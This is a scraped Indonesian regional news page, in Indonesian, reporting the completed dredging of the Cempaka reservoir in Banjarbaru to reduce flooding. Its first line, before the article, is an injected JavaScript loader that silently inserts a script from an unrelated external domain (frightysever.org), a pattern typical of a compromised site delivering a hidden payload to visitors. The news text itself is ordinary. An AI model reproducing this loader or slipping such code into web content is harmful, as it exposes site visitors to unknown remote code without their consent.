(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Pengerukan Embung Cempaka Rampung, Mampu Tampung Air 91.200 Meter Kubik


KANALKALIMANTAN.COM, BANJARBARU – Proyek normalisasi embung Cempaka yang berlokasi di Kecamatan Cempaka, Banjarbaru, telah dinyatakan rampung.

Normalisasi embung seluas 2,9 hektare itu dikerjakan selama 90 hari sejak Juli dan berakhir pada 21 Oktober 2020.

“Progres fisik sudah 100 persen. Saat ini kita tengah memproses pengajuan PHO sembari menyelesaikan administrasi,” kata Kepala Bidang SDA Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru, Subrianto, Kamis (5/11/2020).

Dijelaskan Subri -akrab disapa, dalam pengerjaan normalisasi embung Cempaka, pihaknya melakukan pengerukan sedalam 2 hingga 3 meter. Hal itu demi menambahkan kapasitas daya tampung air di dalam embung tersebut.

 

“Daya tampung sebelumnya kurang, jadi kita kembalikan ke kapasitas awal. Saat ini daya tampung embung Cempaka mampu menampung air sampai 91.200 meter kubik,” terangnya.

Pengerjaan proyek normalisasi embung ini, merupakan upaya Pemerintah Kota (Pemko) Banjarbaru mengantisipasi terjadinya musibah banjir. Berkaca pada kejadian ketika curah hujan tinggi pada Januari lalu, membuat sejumlah wilayah di Kecamatan Cempaka mengalami banjir. Salah satu yang mengalami dampak terparah yakni di Kelurahan Cempaka dan Sungai Tiung.

Faktor yang mendasari musibah banjir di Kecamatan Cempaka, tak lepas dari terjadinya pendangkalan sungai. Buntut pendangkalan sungai ini akibat adanya tanah dari proyek galian C yang mengalami proses sedimentasi. Lalu, faktor lainnya ialah embung Cempaka yang tidak berfungsi optimal.

Meskipun upaya normalisasi embung telah selesai, Kabid SDM mengakui, ancaman musibah banjir di Kecamatan Cempaka masih saja bisa terjadi. Hal tersebut lantaran masih adanya hambatan aliran sungai di bagian hulu.

“Di bagian hulu itu masih jadi hambatan karena banyak rumah warga di sana, sehingga aliran sungai masih tetap terhambat. Namun untuk embung kita pastikan berfungsi optimal dengan kapasitas yang kita rencanakan. Ke depannya embung ini juga akan dilakukan pemeliharaan untuk menghindari terjadi sedimentasi,” pungkas Subri. (kanalkalimantan.com/rico)

Reporter : Rico
Editor : Bie

Al Ghifari

Recent Posts

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

24 menit ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

2 jam ago

Pemkab HSU Raih Opini WTP, Ini Kata Pj Bupati HSU

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More

4 jam ago

Ngobrol Santai Pj Bupati Kapuas Erlin Hardi di Kelurahan Selat Dalam

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More

4 jam ago

Targetkan 5 Besar, Bupati Banjar Lepas Kontingen Popda Banjar Menuju HSS

KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More

5 jam ago

Kasus Cuci Uang Narkoba, Ayah Fredy Pratama Tak Ajukan Banding

KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More

5 jam ago

This website uses cookies.